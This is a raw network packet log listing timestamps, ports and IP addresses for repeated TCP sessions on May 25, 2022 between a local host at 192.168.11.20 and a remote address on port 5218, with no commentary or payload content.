May 25, 2022 16:34:07.801477909 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801532030 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801604986 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801615953 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.801657915 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801667929 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.801678896 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.801733017 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801811934 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.801902056 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801903009 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.801930904 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802031040 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802107096 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802155018 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802249908 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802277088 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802303076 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802411079 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802419901 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802557945 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802602053 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802633047 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802700043 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802710056 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802763939 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802870035 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.802891016 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.802982092 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.803014994 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.803040028 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.803136110 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.803194046 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.803344011 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.813738108 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.814044952 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:08.199421883 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:08.199625969 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:08.350615978 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:08.350835085 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:11.942845106 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:12.263247967 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:12.263556957 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:12.263747931 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:12.715815067 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:12.716387033 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:12.768843889 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:12.769124031 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.027497053 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.027729034 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.066978931 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.067250967 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.292589903 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.292785883 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.447366953 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.447685003 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.589226961 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.589556932 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.753016949 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.753308058 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.846278906 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.846442938 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.846527100 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.846618891 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.846772909 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.846916914 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.846946955 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.847152948 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.847377062 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.847482920 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.847548962 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.847661018 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.869676113 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.869888067 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.869921923 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.869924068 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.870074987 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.870095015 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.870105028 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:13.870279074 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:13.888144970 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.028307915 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.083101988 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.083410978 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.113753080 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.113831043 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.113886118 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.113981962 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.114079952 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.116029024 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.116381884 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.120032072 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.120110989 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.120285988 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.120347023 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.125050068 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.125396967 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.127931118 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128027916 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128107071 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128146887 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128164053 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128205061 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128236055 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128289938 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128384113 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128429890 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128467083 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128554106 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128597975 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128722906 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128750086 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128797054 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128845930 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.128958941 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.128968954 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.129028082 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.129192114 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.129271030 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.129405022 CEST	5218	49848	23.105.131.228	192.168.11.20
May 25, 2022 16:34:14.129514933 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:14.129570961 CEST	49848	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:18.179114103 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:18.438915968 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:18.439266920 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:18.439601898 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:18.763550997 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:18.763828039 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:18.765639067 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:18.808149099 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:19.188214064 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:19.188524008 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:19.536948919 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:19.537195921 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:19.874577999 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:19.874821901 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.172095060 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.172442913 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.216897964 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.216978073 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.217194080 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.217287064 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.224529028 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.224881887 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.226871014 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.226973057 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.227082968 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.227149963 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.227160931 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.227350950 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.248879910 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.248994112 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.249090910 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.249098063 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.249156952 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.249172926 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.249293089 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.249382019 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.308033943 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.466209888 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.466439009 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.471880913 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.472265959 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.474653959 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.474721909 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.474896908 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.474989891 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.487111092 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.487201929 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.487250090 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.487390995 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.487441063 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.487453938 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.488641977 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.488715887 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.488785982 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.488924980 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.488964081 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.489110947 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.489171028 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.489289045 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.489345074 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.490084887 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.490309954 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.531763077 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.531842947 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.532016993 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.532074928 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.549752951 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.549949884 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.550112963 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.550196886 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.550247908 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.550344944 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.550410986 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.550426006 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.550595999 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:20.550976038 CEST	5218	49849	23.105.131.228	192.168.11.20
May 25, 2022 16:34:20.551209927 CEST	49849	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:24.335800886 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:24.645041943 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:24.645534992 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:24.645931959 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:25.007829905 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:25.007973909 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:25.065769911 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:25.066025972 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:25.329612017 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:25.329876900 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:25.391494989 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:25.593386889 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:25.593595982 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:25.916609049 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:25.916811943 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.233170986 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.233438969 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.408377886 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.408575058 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.408612967 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.408833981 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.419080019 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.419224977 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.419343948 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.419358969 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.419513941 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.419521093 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.419526100 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.419573069 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.419684887 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.419711113 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.419775963 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.420074940 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.432754993 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.432789087 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.433002949 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.494450092 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.534838915 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.535038948 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.664050102 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.664333105 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.668752909 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.668853045 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.669015884 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.669073105 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.671396017 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.671582937 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.706546068 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.706639051 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.706700087 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.706743956 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.706948042 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.706990957 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707000017 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707055092 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707117081 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707185984 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707287073 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707288027 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707359076 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707386971 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707554102 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707580090 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707690954 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707724094 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707763910 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707807064 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.707897902 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.707927942 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.708067894 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.708105087 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.708288908 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.708414078 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:26.742356062 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.742419958 CEST	5218	49850	23.105.131.228	192.168.11.20
May 25, 2022 16:34:26.742909908 CEST	49850	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:30.641261101 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:30.893937111 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:30.894146919 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:30.894473076 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:31.283977985 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:31.284200907 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:31.422962904 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:31.423161983 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:31.599720001 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:31.599942923 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:31.726996899 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:31.727274895 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:31.855428934 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:31.855706930 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.035209894 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.035484076 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.150413990 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.150661945 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.376983881 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.377118111 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.455311060 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.455611944 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.456612110 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.456794977 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.456854105 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.456969976 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.464973927 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.465142965 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.497458935 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.497642994 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.536438942 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.536639929 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.536720991 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.536745071 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.536834955 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.536844969 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.536927938 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.536995888 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.537034988 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.537153006 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.693891048 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.722779036 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.723016977 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.723174095 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.723261118 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.724303961 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.724545956 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.724549055 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.727004051 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.727227926 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.727330923 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.727482080 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.727622986 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.754304886 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.755309105 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.755480051 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.797756910 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.798827887 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.799021006 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.799146891 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.799365044 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.799498081 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:32.800717115 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.801009893 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:32.801157951 CEST	5218	49851	23.105.131.228	192.168.11.20
